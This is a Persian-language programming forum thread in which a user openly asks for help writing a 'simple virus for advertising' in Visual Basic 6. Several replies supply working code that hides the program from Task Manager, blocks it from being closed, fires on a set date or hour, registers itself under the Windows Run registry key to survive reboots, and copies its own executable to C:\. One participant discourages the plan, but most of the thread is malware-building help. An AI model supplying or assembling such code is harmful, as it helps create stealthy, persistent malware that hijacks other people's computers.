سلام
من یه برنامه می خوام که تاریخ و ساعت رو از ما بگیره بعد طبق او تاریخ و ساعتی که داده ایم تایمر ما فعال شه
در ضمن می خوام برنامه در Task Manager پنهان باشه
مثل ویروس کسی نتونه برنامه رو ببنده
کسی می تونه کمک کنه
سلام
بیا اینو واست نوشتم.
کد:
Private Sub Form_Load()
App.TaskVisible = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = -1
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
strTemp = Date$
strTemp = Mid(strTemp, 4, 2)
a = strTemp
If (a) = 7 Then End
End Sub
سورس زیر تاریخ زمان میگیره یعنی روز 7 ماه شروع به فعالیت میکنه
باید تو یه تایمر باشه که چک کنه
میشه ساعت هم بهش اضافه کنی مثلا 7 روز دیگه ساعت 5:00 صبح
یه سری برنامه ها که وقتی سیستم رو ریستارت می کنی و میاد بالا برنامه با ورود به ویندوز اجرا میشه
کدی هست که همچین کاری رو انجام داد
سلام
با اجازه amintatu1990 ،
این واسه ساعت
کد:
Dim f() As String
f = Split(Time$, ":")
If f(0) = "5" Then
' ...
' f(1) = min
' f(2) = sec
End If
فقط یه چیزی ؛ این توابع به وابسته به ساعت و تاریخ کامپیوتر هستند ؛
نقل قول: یه سری برنامه ها که وقتی سیستم رو ریستارت می کنی و میاد بالا برنامه با ورود به ویندوز اجرا میشه
کدی هست که همچین کاری رو انجام داد
میخوایین ویروس بنویسید ؟؟
تو همین فورم هم بگردی میتونی پیدا کنی کدشو.
http://forum.iranled.com/showthread.php?tid=13327
اینجا هم پست دادین ! همونجا جوابتونو میگیرین.
(۲۲-مرداد-۱۳۸۸, ۱۴:۰۳:۱۱)iman_yakoza نوشته است: [ -> ]سلام
من یه برنامه می خوام که تاریخ و ساعت رو از ما بگیره بعد طبق او تاریخ و ساعتی که داده ایم تایمر ما فعال شه
در ضمن می خوام برنامه در Task Manager پنهان باشه
مثل ویروس کسی نتونه برنامه رو ببنده
کسی می تونه کمک کنه
قدیما ، یه تشکر می کردن از کسی که به آدم یه چیزی یاد بده!
الانم کردم
amintatu1990 قرار بود واسه ما چه کار کنی ؟
اره میخوام یه ویروس ساده برای تبلیغات بسازم
خوب حالا یه کد واسه کپی کردن فایل تو کل درایو ها کامپیوتر می خوام
باشه
خوب حالا یه کد واسه کپی کردن فایل exe ( همین exe پروژه ویروس )تو کل درایو ها کامپیوتر می خوام
البته من میخواستم یه کاری کنم که ویندوز هم عوض کرد دوباره ویروس فعال شه انگار زیادی سخت میشه
خوب می خوام وقتی exe رو باز کرد یه نسخه از برنامه تو هر ادرسی که خودم تعیین می کنم کپی بشه مثلا C:\Documents and Settings\All Users\Start Menu\Programs\Startup
اینجا کپی شه
البته ، هنوز تعدادی خیلی کمی هستن که شاید بتونن چنین کاری بکنن ، این کار خیلی سخته!
ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ
تو Startup کپی کردن خیلی ضایعه است! بهتره که توی رجیستری ثبتش کنی!
راستی ، سورس های زیادی هست(ویروس)! یه جستجو کن ، سورس های خیلی خوبی هستن جواب بیشتر سئوالات الان و آینده تو میده!
واسه قرار گیری برنامه در start up باید از کد زیر استفاده کنید.
کد:
Private Sub Form_Load()
Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String
subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)
If retval <> 0 Then
Debug.Print "Can't open the subkey"
Exit Sub
End If
stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))
RegCloseKey hregkey
End Sub
بعد تو ماجول هم کدهای زیر ار کپی کن
کد:
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal _
hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long
Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1
برنامه شما دیگه با هر بار ویندوز لود میشه
واسه کپی کردن برنامه هم
کد:
Set fso = CreateObject("scripting.filesystemobject")
myfile = App.Path & "\" & App.EXEName & ".exe"
FileCopy myfile, "C:\amin.exe"
(۲۲-مرداد-۱۳۸۸, ۱۵:۰۵:۲۹)iman_yakoza نوشته است: [ -> ]اره میخوام یه ویروس ساده برای تبلیغات بسازم
سلام دوست عزيز!
ميخواي يه ويروس ساده براي تبليغات بنويسي؟
چرا از راه ويروس ميخواي تبليغات كني! من بهت پيشنهاد ميكنم كه اين كارو نكني اگه ميخواي تبليغات موثر بكني بهت پيشنهاد ميكنم كه يه برنامه كاربردي بدردبخور بنويس و تو اون برنامه براي خودت تبليغ كن كه هم موثره و هم دردسر نداره شما با اين كار تبليغاتت خيلي جالب نميشه چون كلي فحش و نفرين به دنبال داره و تازه كسي ديگه به فكر تبليغت نيست!
حالا بگو ببينم اين ويروس در كل قراره چيكار كنه يعني از اون اول بگو كه اين برنامه چه كارهايي رو بايد انجام بده؟
نقل قول: البته ، هنوز تعدادی خیلی کمی هستن که شاید بتونن چنین کاری بکنن ، این کار خیلی سخته!
چی ؟